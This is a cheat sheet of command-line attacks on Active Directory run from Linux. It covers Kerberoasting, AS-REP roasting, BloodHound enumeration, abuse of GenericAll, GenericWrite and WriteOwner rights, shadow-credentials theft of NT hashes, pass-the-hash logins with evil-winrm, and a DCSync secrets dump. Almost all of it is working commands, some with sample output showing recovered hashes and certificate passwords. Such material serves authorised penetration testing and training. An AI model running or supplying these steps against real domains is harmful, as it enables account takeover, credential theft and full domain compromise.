Active Directory Penetration Testing using Linux

 

Kerberoasting

#Get TGS Ticket Using GetUserSPNs.py
sudo GetUserSPNs.py -request -dc-ip 10.10.10.10 Steins.local/mark 

Find Pre-Auth Disabled Users

GetNPUsers.py DOMAIN/ -usersfile user.txt -outputfile hash.txt -dc-ip 10.10.10.10

Running Bloodhound on Linux 

#Match the Time with Doamin controller. 
sudo apt-get install ntpdate
sudo ntpdate <DC IP>

#Add required DNS to /etc/hosts if there is no direct DNS 

#Once you have creds for any user -run blood hound to look for priv esc
git clone https://github.com/dirkjanm/BloodHound.py
pip install
bloodhound-python -u UserName -p "P@SSW)RD!" -d steins.local -ns 10.10.10.10 -c All

Abusing GenericAll or ForceChangePassword or Password Reset

git clone https://github.com/CravateRouge/bloodyAD

#User1 has GenericAll Permisions on User2
#Change password for User2
python bloodyAD.py -u "User1" -p "Password1" -d "domain.local" --host "10.10.10.4" set password "User2" "12345678"

Abusing GenericWrite 

targetedKerberoast is a Python script that can, like many others (e.g. GetUserSPNs.py), print "kerberoast" hashes for user accounts that have a SPN set. 
for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute), 
print the "kerberoast" hash and delete the temporary SPN set for that operation. This is called targeted Kerberoasting


git clone https://github.com/ShutdownRepo/targetedKerberoast.git
python -m pip install -r requirements.txt

targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword' --dc-ip 10.10.10.10

#Crack the hash 
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --force

####### IF you are unable to crack KRBTGT HASH ########
# Next Option is to Get NT hash - then pass the hash to login
#Shadow Credentials attack - it generates a cert, use that cert to get TGT
#Then use TGT to get NT Hash 

git clone https://github.com/ShutdownRepo/pywhisker.git
python -m pip install -r requirements.txt
sudo python setup.py install 

# Install pywhisker
pywhisker -d "DOMAIN.Local" -u "ControlledUser" -p "P@SSw0rd!" --target "victim_user" --action "add"
[+] Saved PFX (#PKCS12) certificate & key at path: XNGPSfJF.pfx
[*] Must be used with password: Tg8nymEvBWvLLsJoGmXA
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools


# Install PKINITtools
git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos

#incase of libcrypto errors 
pip3 install -I git+https://github.com/wbond/oscrypto.git

# Obtain a TGT 
# Use the -cert-pfx & -pfx-pass from pywhisker
python ./gettgtpkinit.py -cert-pfx ./XNGPSfJF.pfx -pfx-pass Tg8nymEvBWvLLsJoGmXA DOMAIN.Local/victim_user TGT.ccache
[*] INFO:minikerberos:0eea2afda8e666301911b3cd28f5b0004f59fb9ee71b04ba2bd507354e7d6691
[*] INFO:minikerberos:Saved TGT to file

#Save the TGT.ccache file to PATH 
export KRB5CCNAME=/home/user/TGT.ccache

#Get NT Hash 
#Use the key from gettgtpkinit.py 
python getnthash.py -key 0eea2afda8e666301911b3cd28f5b0004f59fb9ee71b04ba2bd507354e7d6691 DOMAIN.Local/victim_user
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
[+] Recovered NT Hash b121d1522bddd4578c97g5a6a1158891

#use evil-winrm to login
evil-winrm  -i 10.10.10.10 -u victim_user -H b121d1522bddd4578c97g5a6a1158891

Abusing WriteOwner on a Group 

Example Scenario: `USER1` has write owner permissions on `dev_group@DOMAIN.LOCAL` and it  has `dev_user` user

#change the ownership of the object
owneredit.py -action write -new-owner 'USER1' -target 'dev_group' 'DOMAIN.LOCAL'/'USER1':'P@ssw0rd!'

#To abuse ownership of a group object, you may grant yourself the AddMember privilege
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'USER1' -target-dn 'CN=dev_group,CN=USERS,DC=DOMAIN,DC=LOCAL' 'DOMAIN.LOCAL'/'USER1':'P@ssw0rd!'

# Add yourself/user to the group 
net rpc group addmem "dev_group" "USER1" -U 'DOMAIN.LOCAL'/'USER1'%'P@ssw0rd!' -S "dc01.DOMAIN.LOCAL"

#Check if the user is added successfully 
net rpc group members "dev_group" -U 'DOMAIN.LOCAL'/'USER1'%'P@ssw0rd!' -S "dc01.DOMAIN.LOCAL"

Abusing WriteOwner Permission on User

#ControllerUser has WriteOwner permissions on  Victim_User
owneredit.py -action write -new-owner 'ControllerUser' -target 'Victim_User' 'DOMAIN.Local'/'ControllerUser':'Controlled_Passwd'

# Set full control of Victim_User to ControllerUser
dacledit.py -action 'write' -rights 'FullControl' -principal 'ControllerUser' -target 'Victim_User' 'DOMAIN.Local'/'ControllerUser':'Controlled_Passwd'

#install Certipy
pip3 install certipy-ad

#Certipy’s `shadow auto` command to retrieve the NT hash of the victim.
certipy shadow auto -u 'ControllerUser@DOMAIN.Local' -p "Controlled_Passwd" -account 'Victim_User' -dc-ip '10.10.10.10'
[*] Successfully restored the old Key Credentials for 'Victim_User'
[*] NT hash for 'Victim_User': b121d1522bddd4578c97g5a6a1158891

#use evil-winrm to login
evil-winrm  -i 10.10.10.10 -u victim_user -H b121d1522bddd4578c97g5a6a1158891

DCSync Attack

secretsdump.py 'testlab.local'/'Administrator':'Password'@'DOMAINCONTROLLER'